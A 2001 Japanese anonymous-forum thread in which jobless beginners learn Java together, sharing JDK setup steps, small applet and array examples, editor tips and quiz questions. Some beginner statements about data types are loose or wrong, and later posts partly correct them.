JAVAをおぼえませう　

1 ：うんこじゃば野郎：2001/07/10(火) 18:54

ボケーっとしてても、社会復帰できんので、JAVAを覚えましょう。
一人で独習してると、いつか挫折すると思われるので、一緒にやって
くれる方がいると、心強いです。プログラム関係の板ですと、
絶対に煽られるので、ここにしました。
とりあえず今日学習したことを書き込んでいきましょう。

今日は、プログラム知識0なんで本を買ってきました。
（買っただけで終わったりして・・）

翔泳社「JAVAではじめるプログラミング」
桑原　信也　著
2400円（高い・・（藁

なんでJAVA？という問いには・・・「おもしろそうだから」
と答えときます(-＿-）・・・単純ですなぁ。ドキュソですなぁ。
無職のみなさん、一緒にやりまそ。開発やらないにしても
「パソコンができる」ってレベルにはなりたいですなぁ。

2 ：新入り：2001/07/10(火) 18:57

ここで煽れらナイトおもっとるのか

ぶっつぶす！！

3 ：うんこじゃば野郎：2001/07/10(火) 19:03

あう、煽られた・・・。
煽るなら技術的なとこで煽ってくれよ・・。
とりあえず、JDKをインストールするっす。
http://java.sun.com/j2se/1.3/

4 ：にうら：2001/07/10(火) 19:06

まだインストしてねーのかよっ

5 ：あ-：2001/07/10(火) 19:06

俺もJAVAとやらをやってみたいんだが・・・
どこから手をつけたらいいのかさっぱりわからん。
何に役立つのか？馬鹿でもできるのか？

6 ：うんこじゃば野郎：2001/07/10(火) 19:08

＞４
だから、今本買ってきたばっかりなのさ。

7 ：ほねっと：2001/07/10(火) 19:09

僕もJava勉強してます。教科書は「独習Java」と「Java超入門」。
コンストラクタでつまずいてます。基本的には代入系言語なので
BasicやCの経験があればオブジェクト指向な部分をのぞけば
学びやすいと思います。じつはオブジェクト指向な部分でつまづいてます。

8 ：うんこじゃば野郎：2001/07/10(火) 19:10

＞5

本によると、JDKつぅのをインストールするとこから
はじめるらしいよ。一緒にインストールしましょう。
煽りには、負けんぞ。ケケ。

9 ：ぷぷぷ：2001/07/10(火) 19:10

具体的な目標があるのと無いのとでは
収穫が全然違うよ
なんかダメ人間に役に立つもの作ってみれ

10 ：うんこじゃば野郎：2001/07/10(火) 19:11

＞7

ん？だから、まったくプログラムの経験ないのよ。ごめん。
そうゆう人で、はじめたい人を募集中なのね。

11 ：うんこじゃば野郎：2001/07/10(火) 19:12

小さな目標

（　´∀｀）もなーが、左から右に動くようにする。
一週間でいけるかな？

12 ：まい：2001/07/10(火) 19:14

>>7
おいらはＣ＋＋のコンストラクタでつまずいたよ。

13 ：ココア：2001/07/10(火) 19:14

JAVAティーなら知っているよ

14 ：うんこじゃば野郎：2001/07/10(火) 19:17

＞13

JAVAティーまずいよ。砂糖なしは、きついよ。

15 ：うんこじゃば野郎：2001/07/10(火) 19:24

ダウソロードしたよ。
↓
j2sdk-1_3_1-win

16 ：ナナーシー：2001/07/10(火) 19:27

で、それをマスターすると何ができるんだい？

17 ：うんこじゃば野郎：2001/07/10(火) 19:30

>>16
あー、動くホームページとか、データベースと連携したりとか
できるらしい。漏れも、読んでる最中なのさ。

18 ：うんこじゃば野郎：2001/07/10(火) 19:31

とりあえず、Cドライブの直下にある、autoexec.batを編集するらしい。
なんのことかわからんがやってみる。

PATH C:\jdk1.3\bin;%PATH%

19 ：うんこじゃば野郎：2001/07/10(火) 19:33

>>16
いろんなOSで動くことが、利点らしい。WINDOWSでもUNIXでも。

20 ：うんこじゃば野郎：2001/07/10(火) 19:34

>>5
>>16
一緒にやりませう。

21 ：あ-：2001/07/10(火) 19:42

>>3
ﾀﾞｳﾝﾛ-ﾄﾞすれば何ができるのか？
どこのﾎﾞﾀﾝを押すんだ？
あほな質問ばかりで。ｺﾞﾒﾝ

22 ：涙のリクエスト：2001/07/10(火) 19:43

発泡酒をビールにするJAVA作ってくれ

23 ：あ-：2001/07/10(火) 19:46

java.sun.comを開いたがどのﾎﾞﾀﾝ押せばいいのか
さっぱりわからん。

24 ：うんこじゃば野郎：2001/07/10(火) 19:47

>>21

j2sdk-1_3_1-winこれをダウソロードらしい。
continueとかいうボタンを押すとサイトがいっぱい出るです。
ぜんぜんあほじゃないです。なにもやろうとしないで
煽るやつが一番アホ。わかんなくなったらとりあえず検索すると
いいかも。漏れも検索しまくり　google.ne.jpとかで
j2sdk-1_3_1-winと検索したりさ。わかんなかったらもう一回聞いてくれ。
こんなとこで、挫折できんでしょ。お互い。

25 ：うんこじゃば野郎：2001/07/10(火) 19:49

>>22

ラジャーつくるっす(-＿-)

26 ：ほねっと：2001/07/10(火) 19:58

クラスとかコンストラクタのところまで来たら合流してもいいですか。
そこで止まってるので。

27 ：あ-：2001/07/10(火) 19:59

Java2 SDK V 1.3.1 ｿﾌﾄｳｪｱ　windows95/～版のﾀﾞｳﾝﾛ-ﾄﾞ

　　　 continue　　のﾎﾞﾀﾝを押せばいいのだろうか？

28 ：うんこじゃば野郎：2001/07/10(火) 20:00

>>26
そこまでいくのに時間かかると思うけど、まっててちょ。

>>27
それでいいと思われます。

29 ：名無しさん：2001/07/10(火) 20:04

で、１時間たった今、立てたスレ気になって気になって手付かずか？

30 ：うんこじゃば野郎：2001/07/10(火) 20:07

んー、さっきのやつ間違え。

PATH C:\jdk1.3.1\bin;%PATH%

どおりで、動かんと思った。恥ずかしい(-＿-)

31 ：うんこじゃば野郎：2001/07/10(火) 20:10

うごいた・・・。
<html>
<head></head>
<body>
<applet code="mona" width=300 height=200>
</applet>
</body>
</html>

import java.applet.Applet;
import java.awt.Graphics;

public class mona extends Applet

{
public void paint(Graphics g)
{
g.drawString("（　´∀｀）",110,110);
}
}

32 ：あ-：2001/07/10(火) 20:10

>>28
continueのﾎﾞﾀﾝを押したが英語ばかりでさっぱりわからん。
とりあえずさいごのacceptのﾎﾞﾀﾝを押してもいいのだろうか？
こんなことで俺はこの先大丈夫だろうか？

33 ：まい：2001/07/10(火) 20:11

>>32
重くてよかったら,ここからど～ぞ
http://ftp.au.xemacs.org/pub/java-sun/JDK-1.3.1/win32/

34 ：うんこじゃば野郎：2001/07/10(火) 20:12

>>32

あー、重いかも。結構ダウソロードに時間かかった。
押していいんではないかとおもう。

35 ：うんこじゃば野郎：2001/07/10(火) 20:21

一気にやろうとするから、つまずくんだよな、こうゆうのは。
たぶん・・（　´∀｀）。ゆっくりやりませう。

36 ：あ-：2001/07/10(火) 20:26

だめだ。あんまり時間がかかるもんだから
ｷｬﾝｾﾙのﾎﾞﾀﾝを押しちまったよ。
いきなり挫折しちゃった。あ-あ

37 ：うんこじゃば野郎：2001/07/10(火) 20:29

雑誌にのってるCD－ROMから入れる方法もあると思う。
インストールに三日かかってもいいじゃないっすか。
そうやって逃げてるから、無職なんだよな～俺らは。
回線が空いている時間に再トライすればいいでは？

38 ：名無：2001/07/10(火) 20:32

ＪＡＶＡ覚えるより,Ｃの方がいいんとちゃう？

目のつけどころがダメなんだよ。（ﾜﾗ

煽りですまん。

39 ：名無し：2001/07/10(火) 20:37

プログラムの事はどしろうとだけど
１がサイト持ってるならＪＡＶＡでコンテンツに反映できてやる気は出るかも。

Ｃだって初心者向けにプログラムを発表し会う場もあるかもしれないけどね。

40 ：あ-：2001/07/10(火) 20:39

このｿﾌﾄ(?)をｲﾝｽﾄ-ﾙしないとJAVAできないのですか？
なんかすごくｲﾝｽﾄ-ﾙに時間がかかりそう。
ちなみに私の環境はWIN98でﾌﾚｯﾂISDNです。

雑誌のCD-ROMも同じことができるのですか？
ｲﾝｽﾄ-ﾙに時間がかかるのですか？

41 ：うんこじゃば野郎：2001/07/10(火) 20:52

>>38
C=つまんなそう
JAVA=面白そう
ってなわけです。
>>39
サイトないので作ります。

42 ：ここみ：2001/07/10(火) 21:02

JavaとJavaScriptは違うよ >>39

43 ：あ-：2001/07/10(火) 21:07

料理の勉強でも始めます。あ-あ

44 ：名無：2001/07/10(火) 21:09

>>42
解ってると思うよ。
ＪＡＶＡもブラウザで実行できる。

45 ：おれ：2001/07/10(火) 21:16

じゃばつまらんぞ

46 ：あんた：2001/07/10(火) 21:19

>>44
おめーはわかってねーだろ

47 ：うんこじゃば野郎：2001/07/10(火) 21:22

ののしりあっても、しょうがないかと・・・

import java.applet.Applet;
import java.awt.Graphics;

/*
<applet code="mona" width=300 height=200>
</applet>

*/

public class mona extends Applet

{
public void paint(Graphics g)
{
g.drawString("（　´∀｀）",110,110);
}
}
こうすると
アプレットビュアーがつかえるみたいだ。

48 ：うんこじゃば野郎：2001/07/10(火) 21:27

ソースコードの構成要素は、変数、メソッド、およびクラス
の3つに大きく分類できる。

メソッドは、データに対して何らかの処理を行うものである。

49 ：おれ：2001/07/10(火) 21:28

>>47
あれ？
じゃばの中にHTMLのapplet要素があるのって変じゃないですか？（実はよく知らない）

50 ：ｎａｎａｓｈｉ：2001/07/10(火) 21:30

仕事で食うんだったら c++ c c# == java perl vb の辺じゃないか？

51 ：(;´Д`)：2001/07/10(火) 21:32

javaって簡単？
実は以前Cに挑戦したが途中で挫折

52 ：うんこじゃば野郎：2001/07/10(火) 21:33

>>47
なんかさ、いちいちブラウザ開かなくても
appletviewer って打ち込むと、確認できるらしい。
そのためには、HTMLのとこに書いたやつを、ああゆうふうに
乗っけるらしい。

53 ：おれ：2001/07/10(火) 21:38

雑学っぽい話だけど、書店のじゃば本は
今でもほとんどapplet要素使ってじゃばアプレットを埋め込むってなってるけど、
HTMLの仕様書的には「OBJECT要素を使ってよね」って言ってるみたい。

54 ：うんこじゃば野郎：2001/07/10(火) 21:38

{
ブロック
}

/*
コメント
*/

//コメント

55 ：名無しさん：2001/07/10(火) 21:45

風呂釜をジャバした日。

56 ：おれ：2001/07/10(火) 21:46

>>52
何だか習った気がするけど忘れちゃったよ。
拡張子が「.java」ってのと「.class」ってのと「.html」っていうのと３つのファイルがあったような。
まずコンパイルの話から始めなければややこしい気がするよ。

57 ：うんこじゃば野郎：2001/07/10(火) 21:50

ドス窓から、javac mona.java
（javaファイルは単なるテキストです。）
とすると、mona.classってのが出来る。
(mona.classは、機械が認識できる形式）
それをHTMLのなかに埋め込んで実行させる？

58 ：うんこじゃば野郎：2001/07/10(火) 21:55

>>51

CとJAVAがどっちか難しいか、わからないっす。
だってCを知らないんですもの。

59 ：尻尾だけトラ猫：2001/07/10(火) 22:01

ああ、これ参加したいなぁ。
自分でJAVAチャットとか作れたらいいよね。
iアプリとか作れたらこれまたいいよね。

60 ：うんこじゃば野郎：2001/07/10(火) 22:04

なんでいちいち、浮動小数点なんて
めんどくせー言い方なんだろな。頭くるよまったく（藁？

61 ：うんこじゃば野郎：2001/07/10(火) 22:06

>>59

参加しようぜい（　´∀｀）

62 ：うんこじゃば野郎：2001/07/10(火) 22:10

byte
short
int
long
float
double
char
boolean

ややこしい。各自調べてくれ・・（うひひ

63 ：おれ：2001/07/10(火) 22:11

じゃばの方がややこしいような気が。
というかじゃばアプレットって苦労のわりにはどうも表現力（というか効果）が寂しかった気が。
（初心者レベルの話）。
じゃばアプレットはお絵描きしましょうページとかによく使われてるみたい。
じゃばが何でこんなに騒がれたかってのは
「OSに依存せずに実行できるから」ってことだった（かな？）。
iModeでまた騒がれてきた（のかも）。

64 ：おれ：2001/07/10(火) 22:22

>>62
変数の型だったか。
うーん、ある程度文法は覚えて配列までいったあたりで挫折する、
たぶん大半はそんなかんじ（ｵﾚﾓﾅー）
習った時、先生の継承の説明が分かりにくくて（多分むちゃくちゃで）
ツッコンでたら授業終わっちゃった。

65 ：うんこじゃば野郎：2001/07/10(火) 22:24

>>64

まあ、今日はこれくらいにしときますか。
ゆっくりやらないと、絶対挫折するので。
漏れも頭混乱してきた。浮動小数点がむかついてしょうがない。
また明日～。

66 ：フィルター：2001/07/10(火) 22:25

なにかやってたのか？・・（ｗ

67 ：うんこじゃば野郎：2001/07/10(火) 22:28

>>66

やってたらしいよ。ぜんぜんわかんね。
変数と定数があるってのはわかるんだな。変数がいろんな
値が入って変わっていくってのもわかるんだがな。
鬱だ寝よう。

68 ：ぷぅ：2001/07/10(火) 22:38

全部よんだよ・・で上のやつ落としていれたけど、
もう終わりなの？

69 ：うんこじゃば野郎：2001/07/10(火) 22:58

>>68

今日は終わりです。疲れた。今から履歴書かくよ。

なんか　メモ帳使うのは、ドキュソってことらしいので、
Meadowってエディタをﾀﾞｳｿﾛｰﾄﾞしてみたが・・うーむ。
うーーーーーーむ。慣れると早いんだろうね。
我慢して使ってみるっすよ。
http://www.sodan.org/~penny/Meadow/

なんかいいエディタ知ってる人教えてちょ。
あ、ちなみに漏れは24歳既卒で、一昨日バイトくびになりました。
鬱だ。

70 ：ほねっと：2001/07/10(火) 22:58

浮動小数点(float、double)は実数を扱うためのデータ形式です。
doubleはfloatの二倍の精度があります。
ここでむかついてたらこの先が・・・（＾＾；

71 ：ほねっと：2001/07/10(火) 23:00

フリーソフトで窓の杜にTeraPadってのがありますよ。
メモ帳に比べれば使いやすいです。
>>69

72 ：尻尾だけトラ猫：2001/07/10(火) 23:07

俺はWZ EDITORってやつ使ってます。
なんか弟がインストールしたらしくて、最初から入ってたから。
JAVAかぁ。本、図書館に置いてないかなぁ。
それかネットで勉強できるとこないかな。

73 ：◎：2001/07/11(水) 03:32

お勉強
http://www.gimlay.org/~javafaq/
http://java-house.etl.go.jp/ml/
http://www.wakhok.ac.jp/biblion/
http://www.borland.co.jp/jbuilder/papers/javamadness/

開発環境
http://www.borland.co.jp/jbuilder/foundation/
http://www.borland.co.jp/jbuilder/jb5/
http://www.sun.co.jp/software/tools/ffj/
http://www.webgain.co.jp/

74 ：尻尾だけトラ猫：2001/07/11(水) 03:39

おお、ありがと。
１日１時間くらい触ってみようかな。

75 ：いちご味：2001/07/11(水) 05:02

おもしろそうだね。
んで、
結局は何を作るつもりでいるの？

76 ：新入り：2001/07/11(水) 06:17

>>75
一番大事なことを忘れてる・・・
だからダメなのか

77 ：5分の1：2001/07/11(水) 06:59

勉強すること自体が目的じゃないの。

78 ：うろおぼえ：2001/07/11(水) 10:55

byte （-128 ～ 127 の整数値）
short （単精度整数型 -32768 から 32767）
int （整数型昔は -32767から32767までが格納可能？だったが処理系||CPUによってはlongと変わらなくなってる）
long （倍精度整数型？？プラマイ21億ぐらいまでだったっけか？）
float （浮動小数点型なんとか通常はdoubleを使え）
double （倍精度浮動小数点型誤差が出るので金勘定では使用すんな）
char 文字型で256まで？（複数文字列を扱うには配列かポインタ型として使用
boolean（true か false か 0か-1かだったっけ? 真か偽か）
currency 通貨型金勘定で使う

win32プラットフォームのデータ型は最初の内は考えるな。。。氏ぬ。

79 ：◎：2001/07/11(水) 12:14

Javaのintは32bitで -2,147,483,648 ～ 2,147,483,647
詳しくは
http://www.borland.co.jp/jbuilder/papers/javamadness/javamadness_26.html
をどうぞ。

80 ：◎：2001/07/11(水) 12:20

>>73そのほかに
http://java-house.etl.go.jp/ml/topics/
http://www.y-adagio.com/public/standards/tr_javalang/

バージョンが古いものとか…
http://www.elc.nias.ac.jp/~nagasaka/lect/java/JavaBeginner.html
http://www.kashi.info.waseda.ac.jp/~kashi/lec1999/pro/java/
http://www.njk.co.jp/otg/Study/JavaStudy/
http://sunsite.sut.ac.jp/java/javaj/jtutorial/

Ｃ言語の基本的なことだけ先に勉強するといいと思います。

81 ：なりました：2001/07/11(水) 12:43

深く狭くで広げていこうとすると途中で嫌になるよ
広く浅くで掘り下げていったほうが長続きするかも

82 ：◎：2001/07/11(水) 13:08

>currency 通貨型金勘定で使う
はじめて知った、聞いたことなかったよ。
Javaでは使わない変数の型ですが。

とりあえずここを読んで
http://www.gimlay.org/~javafaq/S001.html
http://www.gimlay.org/~javafaq/S002.html

Hello World
からですネ！

83 ：うんこじゃば野郎：2001/07/11(水) 13:53

>>73-82
あああ、ありがてぇ（泣。開発環境ってお金かかっちゃうのね。
まあ、テキストエディタでいいです。

さあて、昨日の復習だ、まずはJDKをインストールして
autoexex.batにパスを通して、適当なサンプルプログラムを
javac ●●でコンパイルするとこまではOKかな？

目的はねぇ、今のとこないんですがねぇ。楽しけりゃいいんじゃん？
何か作って欲しいもの（低レベル）なのがあればどんどんあげてちょ。

84 ：うんこじゃば野郎：2001/07/11(水) 14:05

とりあえず。1＋1＝2だ

public class keisan
{

public static void main(String args[])
{
int a,b,c;

a=1;
b=1;
c=a+b;

System.out.println(c);
}

}

85 ：◎：2001/07/11(水) 14:35

テキストエディタ何使ってる？Ver.2
http://salad.2ch.net/test/read.cgi?bbs=software&key=993763803&ls=50

>>83
いえ >>73のソフトにはみんな機能制限なしのフリー版があります。
ただどれもこれも重い。

86 ：ばくち：2001/07/11(水) 14:36

ひでまるよんせんえん。

87 ：うんこじゃば野郎：2001/07/11(水) 14:57

配列ねぇ。

int a,b,c,d,e,f,g,h,i,j;
ってのがめんどいので

int a[];
a= new int[10];

っつても　a[10]はねぇんだな。ややこしいぞ　ゴラァ。

88 ：◎：2001/07/11(水) 15:10

Javaの配列は
int a[];
よりも
int[] a;
と宣言するといいですよ。
些細なことですがint配列の変数a（int[] a）のほうがわかりやすいです。
int a[];はC言語の名残なんだそうです。

89 ：ななし：2001/07/11(水) 16:16

∩
　　　　　 ∧＿∧ 　 | |　　　／￣￣￣￣￣￣￣￣￣￣￣￣
　　　　　（　´∀｀）／/　　＜　先生！文字列は配列にできますか？
　　　　　／　　　 /　　　　＼＿＿＿＿＿＿＿＿＿＿＿
　　　　 / /|　　　　/　　　
　＿＿| | .|　　　　|
　＼　￣￣￣￣￣￣￣＼　
　　||＼　　　　　　　　　　　＼
　　||＼||￣￣￣￣￣￣￣||￣
　　||　 ||￣￣￣￣￣￣￣||
　　　 .||　　　　　　　 ||

90 ：うんこじゃば野郎：2001/07/11(水) 16:18

EMACS（meadow)とやらの使い方覚えるだけで、三日かかるな
こりゃ。覚えりゃ早いかもなー（　´∀｀）。
でも、なんかマウス使うのかったるいので、いい感じ。うけけ。

91 ：うんこじゃば野郎：2001/07/11(水) 16:20

>>88
ありがとう。そちは、なかなか詳しいよぅじゃな。
これからいろいろと、アドバイスキボンヌ。

92 ：うんこじゃば野郎：2001/07/11(水) 16:27

ネットワークを通じてWebブラウザにダウンロードされ、ブラウザのウィンドウに埋め込まれて実行されるJavaプログラムのこと。Javaアプレットを悪用してユーザのコンピュータに被害を与えることのないように、ユーザのハードディスクの内容を読み書きしたり、自分が呼び出されたWebサーバ以外のコンピュータに接続したり、他のアプリケーションソフトを起動したりすることはできないようになっている。Javaアプレットを使うことにより、HTMLで記述された静的なWebページでは実現できない動的な表現が可能となる。また、Webブラウザのみで利用することができるネットワークゲームやチャットを開発することもできる。企業内のクライアントサーバ型のシステムでJavaアプレットを利用すれば、社員のコンピュータにはWebブラウザを入れるだけでシステムを利用できるようになり、アプリケーションソフトの配備や管理にかかるコストを節減することができる。

93 ：おれ：2001/07/11(水) 17:33

>>92
それがなあ。
ブラウザで実行なんてされたらかなわんから「じゃばオフ」は基本だもんよ。
だから言ったわけよ、じゃばアプレットって苦労のわりに報われない…。
（ネット慣れしてくるとみんなオフにするから）

94 ：おれ：2001/07/11(水) 17:35

あれ？話が違ってた。スマソ。
>>92意味分からん。

95 ：おれ：2001/07/11(水) 17:42

分かった。
「ブラウザはじゃばアプレットで悪さできないようになってるから安心」
ってことかな。でもそんなの嘘だぁ（知らないけど）

96 ：うんこじゃば野郎：2001/07/11(水) 17:57

多分　クライアントサーバーやるときに、メンテナンスが楽だって
ことのような気がする。アプレットだけじゃないようだし、俺が
やりたいなぁと思っているのは、JSPだぎゃ。俺もよくわかっとらん。

97 ：◎：2001/07/11(水) 19:00

>>89
いい質問ッスね！
オブジェクトとプリミティブ型がわかるようになれば…。
>>91
頑張りますデス。
>>95
アプレットは安全だってSunは言ってます。
ブラクラになったりしますが(w
>>96
一応、有名ッスけどネ。
http://www.atmarkit.co.jp/fjava/rensai/index/index.html

98 ：おれ：2001/07/11(水) 19:09

◎様はCもPerlも何でも分かりますか？
何だかCGI方面なら「多少出来れば引く手あまた」
って聞いたことありますがホントでしょうか？
おれはうんこCGI野郎になって頑張ろうかな。

99 ：◎：2001/07/11(水) 19:30

>>98おれ様
いえいえ、Javaの基本的なことしかわかりません。
趣味でやってるのでわからないッスゴメン。
頑張ってね！

100 ：太陽薬局：2001/07/11(水) 19:32

１００おぱーい（代理

101 ：太陽薬局：2001/07/11(水) 19:33

バイト先のイントラネットのcgiはよくトラぶってるよ

102 ：ほねっと：2001/07/11(水) 19:34

EMACSってエディタだっけ。どこにあるの？

103 ：◎：2001/07/11(水) 19:38

>>102
テキストエディタ何使ってる？Ver.2
http://salad.2ch.net/test/read.cgi?bbs=software&key=993763803&st=2&to=5

104 ：太陽薬局：2001/07/11(水) 19:42

EMACSでないとダメなの？
おいら
秀丸＆ＱＸ＆紙2001
が常駐エディタ

紙2001はエディタちゃうか（＾＾；

105 ：専守防衛さん：2001/07/11(水) 19:43

http://www.cgigame.com/bbs/raiv.html

106 ：まい：2001/07/11(水) 19:49

emacs(mule)　or viの操作で挫折した俺は。
ついてけないよ。

107 ：専守防衛さん：2001/07/11(水) 19:50

http://www.cgigame.com/bbs/raiv.html

108 ：うんこじゃば野郎：2001/07/11(水) 20:11

>>106

なんかな～。C-xってのかコントロールとXを押すって意味らしい。
チュートリアルがあったので一通り触ってみた。上を見たらきりがない
少しずつやるべ。ちまちまやってこうよ。
C-p C-b C-f C-e　C-n　なんかでカーソルが動くね。
あとは適当　うけけ。

109 ：うんこじゃば野郎：2001/07/11(水) 20:14

>>98

CGIの時代は終わったらしいので、JAVAやるのさ。
CGIだと、サーバーに負荷がかかる、動作遅いらしい。

110 ：うんこじゃば野郎：2001/07/11(水) 20:21

しかし、CGIはアクセスがあるたびにサーバが新しいプロセスを起動するので、オーバーヘッドとリソースの消費によるパフォーマンスの低下が避けられないというデメリットがあります。

　これに対し、JSPはJSPコンテナと呼ばれるJSP実行プログラムが一度起動されていれば、その内部で実行されるので、リソースの消費が少なく効率的だというメリットがあります（図2）。

オーバーヘッドの意味がわからんのよ、JAVAがCGIより優れているのは
よくわかった。ありがとう。

111 ：おれ：2001/07/11(水) 20:34

>>109
なんか「CGI」という言葉の捉え方が微妙に違うような気がしないでも。
インタプリタだから負荷がかかるなら、Cで作ればよいということか（よく分かってない）

112 ：おれ：2001/07/11(水) 20:35

そもそもJSPってのが何かさっぱり分かってないおれ

113 ：◎：2001/07/11(水) 20:58

エディタは自分が使いやすいものでいいと思う。
マシンが高性能でメモリに余裕があるなら >>73をインストールしてみるのもｲｲ!
まずは >>82からデスヨ！

114 ：まい：2001/07/11(水) 20:59

ASPの方が早いよ
サーバ選ぶけど

115 ：ほねっと：2001/07/11(水) 21:05

統合環境は>73のJBuilderがいいらしいけどうちの98SEに入れるとOS壊れる
から入れられない。Win2000じゃないと安定しないらしいんだが。

116 ：まい：2001/07/11(水) 21:06

>>114
(ﾟДﾟ)ﾊｧ?

117 ：おれ：2001/07/11(水) 21:26

どうも話がまとまらなくなってきたな。
うんこじゃば野郎氏は引用が多いけど、
自分の言葉でじゃばを語ることが大切な気がします。

118 ：まいっか：2001/07/11(水) 21:28

>>116
はぁじゃねーだろ
インストールしたのか？
JAWA

119 ：うんこじゃば野郎：2001/07/11(水) 21:51

>>117
昨日本買って覚えはじめた漏れに、どう語れとおっしゃる。
語ってるほうがうそ臭くない？

>>118
おっしゃるとおり、
ASPはM$のサーバーでしか動かないのです。
JAVAはOSを選びません。ASPとJSPどっちが早いかは知りませんが・・・

ASPできる人の数＞JSPできるひとの数

これから使われるであろう言語（WEB）

PERL＜ASP＜PHP＜JSP

別に開発やるわけじゃないのよ、プログラムの知識があれば
ちったぁ「パソコンが出来る」に近づくでしょ。
べつにエクセルでVBAやってもいいのよ、でもつまんないから
やんないの。つまんないと途中でいやになるでしょ。

所詮プログラムが得意なやつは、五万といて、そうゆうやつには
かなわないのは、わかってるのね。でも、プログラムを知ってるのと
知らないのでは、これから仕事する上で（インドアでね）
かなり違ってくると思うのよ。どうだろう。今二次元配列で
とまってる俺・・・情けない。

120 ：フィルターβ：2001/07/11(水) 22:10

だれかiアプリつくれ（ｗ

121 ：Webマスター：2001/07/12(木) 04:57

　|
　|　先生！　ＨＴＭＬしかわかりません！
　＼＿＿　_＿＿＿＿＿＿＿＿＿
　　　　　Ｖ
　　　　／■＼∩
　　　（　´∀｀）ﾉ
　　＿（つ　　　ﾉ＿
　　＼￣￣￣￣　＼
　　 ||＼　　　　　　　＼
　　 ||＼||￣￣￣￣||￣
　　 ||　 ||￣￣￣￣||
　　　　 ||　　　　　　||

122 ：名無しさんが＠通る：2001/07/12(木) 05:01

この中で買ったのある？

コンピュータ（書泉グランデ調べ　2001年7月10日）毎週水曜日6時更新

1 The IPv6 Jornal NO.2 Summer 　インターネット戦略研究所 2381円
2 Java言語で学ぶデザインパターン入門　ソフトバンクパブリッシング 3800円
3 要点チェック式ブロードバンド教科書　シーブック24ドットコム 3800円
4 PREMedia Part15 日本語DTPホントの実力　印刷出版研究所 2381円
5 それがぼくには楽しかったから　小学館プロダクション 1800円
6 ファイバチャネル技術　解説書　論創社 8500円
7 インターネット白書2001 　インプレス 4800円
8 実践インターネットセキュリティ　 BNN 3800円
9 サーブレット&JSPではじめる　JAVAサーバサイドプログラミング　技術評論社 2980円
10 オールラウンドプログラミングvol.1　Java500の技　技術評論社 1980円
11 ウイルス、伝染るんです　廣済堂出版 1500円
12 WEB+DB PRESS Vol.3 　技術評論社 1380円
13 新情報通信　早わかり講座4 　日経BP社 3619円
14 Namazuシステムの構築と活用　ソフトバンクパブリッシング 2800円
15 図解でわかる　文字コードのすべて　日本実業出版社 2700円
16 PC自作派Vol.17 JULY 　マイクロデザイン 980円
17 やさしいXML 　ソフトバンクパブリッシング 2500円
18 Mac OSX徹底活用ガイド　技術評論社 2180円
19 続　誰も教えてくれなかったインターネットセキュリティのしくみ　日経BP社 1700円
20 WEB Site Design vol.1 　技術評論社 1280円

123 ：尻尾だけトラ猫：2001/07/12(木) 05:07

おお、このスレ。
全然ついていけない。

>>122買ったことあるのはないです。

124 ：◎：2001/07/12(木) 05:18

二次元配列はJavaの配列はオブジェクトだということに気づけば簡単ですヨ！

>>115
そうなのですか、知らなかった。
そういえば７月下旬に新しいVerの無料版がでます。

>>122
私が持っている本はJDK1.0仕様…（;´Д｀）

125 ：ぽち：2001/07/12(木) 05:45

インストールしました
http://www.onionsoft.net/hsp/

126 ：尻尾だけトラ猫：2001/07/12(木) 06:03

翔泳社の出す本っていいよね。

127 ：◎：2001/07/12(木) 09:52

んじゃ問題です。

public class Mona {
　　public static void main(String args[]) {
　　　　System.out.println("オマエモナー");
　　}
}

(1)Javaファイル[ Mona.java ]を作成し、Javaプログラムを上のように入力して
　　ソースファイルを作成してください。
　　コマンドプロンプトで[ javac Mona.java ]と入力しJavaコンパイラを起動してください。
　　[ Mona.class ]が作成されるはずです。
　　[ java Mona ]と入力し実行してください。
　　[ オマエモナー ]と表示されましたか？
(2)上のプログラムはJavaの基本単位であるクラスになりますが、クラス名は何ですか？
(3)このクラスにはメソッドが一つだけ含まれています、メソッド名は何ですか？

128 ：◎：2001/07/12(木) 09:53

ヒント
[ public ][ class ][ static ][ void ]はJavaのキーワード、
キーワードはJavaで決められている文字なのでプログラマー名前に使うことは出来ない。

メソッド名のあとには必ずカッコ[ ( ) ]をつける。

中カッコ[ { } ]で囲んである部分がひとかたまりになる。
クラス全体が中カッコで囲んでありますね？
メソッドの内容も中カッコで囲んであります。

System.out.println()はJavaのAPIです。
APIは便利なようにJavaですでに用意されているクラスです。
System.out.println()はカッコの中の文字列（””ではさまれている部分）を
コマンドプロンプトに表示します。

129 ：◎：2001/07/12(木) 10:56

>>128プログラマー名前　＞　プログラマーが名前
問題です。
(1)コメントは何箇所ありますか？
(2)メソッドcalc()には変数と定数がそれぞれ２つづあります。
　　変数はどれですか？
　　定数はどれですか？
(3)メソッドcalc()のbの値はいくつになりますか？
/*
　* Mona2クラス
　*/
public class Mona2 {
　　public void say() {
　　　　// オマエモナーを出力する。
　　　　System.out.println("オマエモナー");
　　}

　　/* 計算する */
　　public void calc() {
　　　　int a = 123456;
　　　　int b = a - 100000;
　　}
}
ヒントなし。次の問題は変数の型で多分夜。

130 ：◎：2001/07/12(木) 12:05

>>127答え

131 ：◎：2001/07/12(木) 12:14

>>129答え(1)

132 ：◎：2001/07/12(木) 12:18

>>129答え(2)その一

133 ：◎：2001/07/12(木) 12:22

>>129答え(2)その２
定数123456 100000

134 ：◎：2001/07/12(木) 12:24

>>129の(3)の答えは >>133のメール欄デス。
何問正解できました？

135 ：おれ：2001/07/12(木) 13:00

だいたい正解できた。基本の基本は大丈夫のようだ。
でもAPIという言葉が出てくると「？？？」になってしまう。
何の略だろ？
勘で…、（アプリケーション・プログラミング・インターフェース）。
全然違ったりして。

変数って宣言しないとデータ型はどうなるの？

136 ：新人プログラマ：2001/07/12(木) 13:11

JavaプログラミングBlackBookは買ったかい？

137 ：うんこじゃば野郎：2001/07/12(木) 14:31

>>129

変数を宣言するのと、計算を一緒にやってもいいんですな。ふむ。

138 ：まい：2001/07/12(木) 14:32

blackbookシリーズは装丁がかっくいい。

139 ：おれ：2001/07/12(木) 14:34

>>137
あ、ホントだ。値を代入するところで宣言してたんだ。

140 ：うんこじゃば野郎：2001/07/12(木) 14:35

定数と変数はわけわからなくなるので、
こうするらしいぞ。

定数は、全部大文字で　finalをつける。

final int TEISU=123456;
int Hensu=123;

141 ：うんこじゃば野郎：2001/07/12(木) 15:20

明日までの宿題です。

問題！　10×10の二次元配列を作って、

(ﾟДﾟ;）と（　´∀｀）を交互に使って配列を埋め尽くしてください。

ギコネコとモナーで埋め尽くすのだ。

142 ：◎：2001/07/12(木) 19:39

>>135Javaの変数は必ず宣言が必要ッス
APIはApplication Programming Interfaceの略で当たりッス！

>>141
イエスサー

143 ：◎：2001/07/12(木) 19:39

問題
